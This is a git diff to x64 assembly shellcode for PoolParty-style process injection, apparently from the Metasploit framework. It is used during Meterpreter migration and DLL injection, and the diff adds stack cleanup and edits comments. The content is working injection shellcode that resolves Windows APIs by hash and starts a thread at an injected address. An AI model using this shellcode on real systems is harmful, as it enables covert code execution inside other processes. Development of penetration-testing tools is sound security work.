diff --git a/external/source/shellcode/windows/x64/src/migrate/poolparty.asm b/external/source/shellcode/windows/x64/src/migrate/poolparty.asm index 1101f30a55..844f333df5 100644 --- a/external/source/shellcode/windows/x64/src/migrate/poolparty.asm +++ b/external/source/shellcode/windows/x64/src/migrate/poolparty.asm @@ -1,6 +1,6 @@ ;-----------------------------------------------------------------------------; ; Author: Diego Ledda (diego_ledda[at]rapid7[dot]com) -; Compatible: Windows 11, 10, 7, Vista +; Compatible: Windows 11, 10 ; Architecture: x64 ; Version: 0.4 (July 2024) ; Size: 276 bytes @@ -29,8 +29,8 @@ ; ;} POOLPARTYCTX, * LPPOOLPARTYCTX; ; Description: -; This stub is executed during the Meterpreter migration. The POOLPARTYCTX must be allocated ALWAYS at the end of the shellcode, -; this is mandatory as some pool-party variants doesn't support arguments passing. Also an hEventTrigger is mandatory because +; This stub is executed during the Meterpreter migration and DLL Injection. The POOLPARTYCTX must be allocated ALWAYS at the end of the shellcode, +; this is mandatory as some pool-party variants doesn't support arguments passing. Also an hEventTrigger during migration is mandatory because ; we need to wait the ok from the previous Meterpreter to continue the execution. with other techniques (RemoteThread and APC) ; We are starting the process in SUSPENDED mode and then Resuming it, here we need to wait for an event. ; This shellcode is done to work with multiple PoolParty variants. @@ -41,37 +41,36 @@ [BITS 64] [ORG 0] cld ; Clear the direction flag. - + push rbp + push rdi + push rsi + mov rdi, rsp ; Saves RSP to RDI jmp _parameters ; Get the POOLPARTYCTX after the shellcode, _cb_parameters: ; Unluckly in some PoolParty variants we cannot receive parameters. - pop rsi - + pop rsi ; RSI = POOLPARTYCTX sub rsp, 0x78 ; Alloc some space on stack - call start ; Call start, this pushes the address of 'api_call' onto the stack. -delta: ; + call start ; Call start, this pushes the address of 'api_call' onto the stack. ; %include "./src/block/block_api.asm" ; -start: ; +start: pop rbp ; Pop off the address of 'api_call' for calling later. mov ecx, [rsi+16] ; Get hEventTrigger - xor rdx, rdx + xor rdx, rdx ; dec edx ; Decrement rdx down to -1 (INFINITE) mov r10d, 0x601D8708 ; hash( "kernel32.dll", "WaitForSingleObject" ) call rbp ; WaitForSingleObject(hEventTrigger, INFINITE); - mov rcx, rsi ; TODO: We can probably just use RSI here. xor rdx, rdx ; zero RDX - mov r8, [rcx] ; r8 = ctx->lpStartAddress - mov r9, [rcx+8] ; r9 = ctx->lpParameter + mov r8, [rsi] ; r8 = ctx->lpStartAddress + mov r9, [rsi+8] ; r9 = ctx->lpParameter xor rcx, rcx ; Clear ECX, lpThreadAttributes - mov edx, 0x100000 ; set dwStackSize to 1MB (probably this is not necessary anymore) push rcx ; lpThreadId push rcx ; dwCreationFlags mov r10d, 0x160D6838 ; hash( "kernel32.dll", "CreateThread" ) - call rbp ; CreateThread( NULL, 0x100000, ctx->lpStartAddress, ctx->lpParameter, 0, NULL ); -loop: - xor eax,eax ; This infinite loop seems necessary to keep the process running. - cmp eax,eax ; Needs further investigation - je loop - nop - + call rbp ; CreateThread( NULL, 0, ctx->lpStartAddress, ctx->lpParameter, 0, NULL ); +cleanup: + mov rsp, rdi ; Restore Stack + pop rsi + pop rdi + pop rbp + ret _parameters: call _cb_parameters ; Simple way to get the address of the POOLPARTYCTX using the return address \ No newline at end of file